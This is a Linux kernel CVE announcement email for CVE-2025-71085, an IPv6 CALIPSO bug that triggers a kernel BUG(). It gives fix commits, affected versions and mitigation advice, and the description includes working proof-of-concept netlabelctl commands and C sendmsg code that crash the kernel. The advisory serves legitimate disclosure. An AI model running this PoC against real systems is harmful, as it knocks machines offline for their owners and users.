From mboxrd@z Thu Jan 1 00:00:00 1970 Received: from smtp.kernel.org (aws-us-west-2-korg-mail-1.web.codeaurora.org [10.30.226.201]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 5D3BC38F23C for ; Tue, 13 Jan 2026 15:36:49 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.client-ip=10.30.226.201 ARC-Seal:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1768318609; cv=none; b=nPlOC2L/cQ+V61t2z5euLbvhfmhLA2JSdHtP1wu/eK2B8XSdaE/7imv+x2qgbLErlsNY72W6ZgCxizXCzM0T4mKUt9wVWusdvS07IRmltl/obxO1pLs6QNkn7WSdDiaVnMH10Y5ZL+i6CuYiTaUntprQEYXKKqvN1N2VgbN0/iU= ARC-Message-Signature:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1768318609; c=relaxed/simple; bh=LAwKKY57WNdAeHJLVctPAxEchVoKut3GMkvOFLLKqVM=; h=From:To:Cc:Subject:Date:Message-ID:MIME-Version; b=LqWoJhDFGHat6AtvytuXxF4520ldrN4L/E1B6n6tJGbOTZpc8nokXLj8WfjO/GaLU93xDy6OniLjfKcn0vJ6dAEm+ziZ9eebu0ED3el9ZFfpN7N7euyC5TpyQhddGF6MedKfktK4jdQWaRNx1xAy1bE5OCyWmAYxLn+EEk4vRAY= ARC-Authentication-Results:i=1; smtp.subspace.kernel.org; dkim=pass (1024-bit key) header.d=linuxfoundation.org header.i=@linuxfoundation.org header.b=ykmV/1xY; arc=none smtp.client-ip=10.30.226.201 Authentication-Results: smtp.subspace.kernel.org; dkim=pass (1024-bit key) header.d=linuxfoundation.org header.i=@linuxfoundation.org header.b="ykmV/1xY" Received: by smtp.kernel.org (Postfix) with ESMTPSA id E1D93C116C6; Tue, 13 Jan 2026 15:36:48 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=linuxfoundation.org; s=korg; t=1768318609; bh=LAwKKY57WNdAeHJLVctPAxEchVoKut3GMkvOFLLKqVM=; h=From:To:Cc:Subject:Date:Reply-To:From; b=ykmV/1xYMre+3W5e60Xj54osm7auLiFUOQ8+UUgTMqW/8fHUd4HFypvpaCcP3V2wb pwXpxi4vnZ203AolLvQF6wTQuQb+9VtVHR5BJUvg4f+zlZVNbdUjA3urLxnW85vzgY j8J4EyRyI7Ir5+2Ow/G4VM/igQiHyMVYGWrwZOfI= From: Greg Kroah-Hartman To: linux-cve-announce@vger.kernel.org Cc: Greg Kroah-Hartman Subject: CVE-2025-71085: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() Date: Tue, 13 Jan 2026 16:35:44 +0100 Message-ID: <2026011340-CVE-2025-71085-e6c1@gregkh> X-Mailer: git-send-email 2.52.0 Reply-To: , Precedence: bulk X-Mailing-List: linux-cve-announce@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 X-Developer-Signature: v=1; a=openpgp-sha256; l=4718; i=gregkh@linuxfoundation.org; h=from:subject:message-id; bh=u4c2DddyCnVEnHI6p2dbliyelINvSTNwefnHV9Rmkf0=; b=owGbwMvMwCRo6H6F97bub03G02pJDJlpaT67/VN+sN5urDE792ODZoz0g/LjVw5z342RqVCOY Hub8MiwI5aFQZCJQVZMkeXLNp6j+ysOKXoZ2p6GmcPKBDKEgYtTACaiWcawoO/3zdtO4e6Sk65L 7Vbevql43a3jGxjmu3DxTF92MM9YiD3bq9rl6juh0kexAA== X-Developer-Key: i=gregkh@linuxfoundation.org; a=openpgp; fpr=F4B60CC5BF78C2214A313DCB3147D40DDB2DFB29 Content-Transfer-Encoding: 8bit From: Greg Kroah-Hartman Description =========== In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0); The Linux kernel CVE team has assigned CVE-2025-71085 to this issue. Affected and fixed versions =========================== Issue introduced in 4.8 with commit 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 and fixed in 6.1.160 with commit 2bb759062efa188ea5d07242a43e5aa5464bbae1 Issue introduced in 4.8 with commit 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 and fixed in 6.6.120 with commit c53aa6a5086f03f19564096ee084a202a8c738c0 Issue introduced in 4.8 with commit 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 and fixed in 6.12.64 with commit bf3709738d8a8cc6fa275773170c5c29511a0b24 Issue introduced in 4.8 with commit 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 and fixed in 6.18.4 with commit 73744ad5696dce0e0f43872aba8de6a83d6ad570 Issue introduced in 4.8 with commit 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 and fixed in 6.19-rc4 with commit 58fc7342b529803d3c221101102fe913df7adb83 Please see https://www.kernel.org for a full list of currently supported kernel versions by the kernel community. Unaffected versions might change over time as fixes are backported to older supported kernel versions. The official CVE entry at https://cve.org/CVERecord/?id=CVE-2025-71085 will be updated if fixes are backported, please check that for the most up to date information about this issue. Affected files ============== The file(s) affected by this issue are: net/ipv6/calipso.c Mitigation ========== The Linux kernel CVE team recommends that you update to the latest stable kernel version for this, and many other bugfixes. Individual changes are never tested alone, but rather are part of a larger kernel release. Cherry-picking individual commits is not recommended or supported by the Linux kernel community at all. If however, updating to the latest release is impossible, the individual changes to resolve this issue can be found at these commits: https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1 https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0 https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24 https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570 https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83